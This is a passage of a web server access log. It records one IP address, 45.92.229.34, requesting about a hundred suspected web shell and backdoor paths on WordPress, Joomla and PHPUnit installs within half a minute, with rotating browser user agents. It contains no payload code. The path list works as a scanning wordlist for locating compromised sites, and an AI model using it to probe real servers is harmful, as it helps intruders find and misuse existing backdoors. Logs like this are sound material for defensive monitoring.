+0300] "GET /wp-includes/customize/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:45 +0300] "GET /css/fan.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:46 +0300] "GET /wp-admin/css/colors/blue/colors.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:46 +0300] "GET /images/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:46 +0300] "GET /wp-content/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:46 +0300] "GET /wp-admin/css/colors/ectoplasm/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:25:47 +0300] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:47 +0300] "GET /wp-includes/js/thickbox/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:25:47 +0300] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:48 +0300] "GET /wp-content/themes/twentytwentyfour/icascreenshots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:48 +0300] "GET /wp-content/upgrade/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:48 +0300] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:48 +0300] "GET /wp-admin/css/colors/ocean/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:25:49 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:49 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:49 +0300] "GET /wp-includes/certificates/past.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:50 +0300] "GET /wp-content/uploads/2021/faiyy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:50 +0300] "GET /css/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:50 +0300] "GET /wp-content/plugins/pwnd/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:50 +0300] "GET /wp-includes/edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:51 +0300] "GET /wsax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:51 +0300] "GET /bless.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:51 +0300] "GET /wp-content/uploads/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:51 +0300] "GET /templates/beez3/dbcthbohhr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:52 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:52 +0300] "GET /wp-content/themes/tflow/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.92.229.34 - - [11/Feb/2026:17:25:52 +0300] "GET /wp-includes/css/dist/footer-default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:53 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:53 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-request.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:25:53 +0300] "GET /wp-content/plugins/pwnd/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:53 +0300] "GET /wp-includes/css/dist/edit-widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:54 +0300] "GET /wp-content/plugins/ubh/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:25:54 +0300] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.92.229.34 - - [11/Feb/2026:17:25:54 +0300] "GET /wp-includes/l10n/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:25:54 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:55 +0300] "GET /wp-admin/js/widgets/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:55 +0300] "GET /uploads/xsec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:25:56 +0300] "GET /images/Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:56 +0300] "GET /wp-content/plugins/pwnd-1/kurd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:56 +0300] "GET /wp-content/themes/tflow/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:57 +0300] "GET /wp-content/languages/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:57 +0300] "GET /wp-content/uploads/fileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:25:57 +0300] "GET /wp-includes/widgets/wp-ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:25:58 +0300] "GET /wp-includes/IXR/xsec1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:25:58 +0300] "GET /admin.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:25:59 +0300] "GET /wp-admin/css/colors/hong1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:00 +0300] "GET /wp-admin/maint/byps.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:00 +0300] "GET /wp-includes/images/crystal/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:00 +0300] "GET /wp-includes/assets/script-loader-packages.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:01 +0300] "GET /wp-content/themes/twentytwentyfour/patterns/content-type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:01 +0300] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:02 +0300] "GET /wp-includes/class-phpmailer-beta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:02 +0300] "GET /wp-includes/ms-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:02 +0300] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:03 +0300] "GET /wp-includes/widgets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:04 +0300] "GET /images/news_event/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:04 +0300] "GET /chosen.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:04 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:04 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:04 +0300] "GET /wp-includes/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:05 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:05 +0300] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:05 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:05 +0300] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:06 +0300] "GET /wp-content/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:06 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:06 +0300] "GET /assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:06 +0300] "GET /wp-includes/SimplePie/XML/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:07 +0300] "GET /wp-includes/pomo/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:07 +0300] "GET /wp-content/1.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:26:07 +0300] "GET /wp-admin/css/colors/blue/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:07 +0300] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:26:08 +0300] "GET /wp-includes/assets/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:26:08 +0300] "GET /.well-known/acme-challenge/gecko-old.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:08 +0300] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:08 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:09 +0300] "GET /wp-includes/widgets/class-wp-nav-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:09 +0300] "GET /x/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:09 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:26:09 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:10 +0300] "GET /wp-admin/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:10 +0300] "GET /wp-includes/sitemaps/providers/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.92.229.34 - - [11/Feb/2026:17:26:10 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:11 +0300] "GET /wp-includes/rest-api/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:11 +0300] "GET /wp-includes/fonts/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:11 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:11 +0300] "GET /wp-content/plugins/pwnd-1/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:26:12 +0300] "GET /wp-admin/js/widgets/setting.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:12 +0300] "GET /wp-includes/images/smilies/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:12 +0300] "GET /wp-admin/css/colors/light/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:26:13 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:13 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:13 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:13 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:14 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:14 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:14 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:14 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:15 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:15 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.92.229.34 - - [11/Feb/2026:17:26:15 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:26:16 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:16 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:16 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:16 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.92.229.34 - - [11/Feb/2026:17:26:17 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:17 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:26:17 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:26:18 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:26:18 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:26:18 +0300] "GET 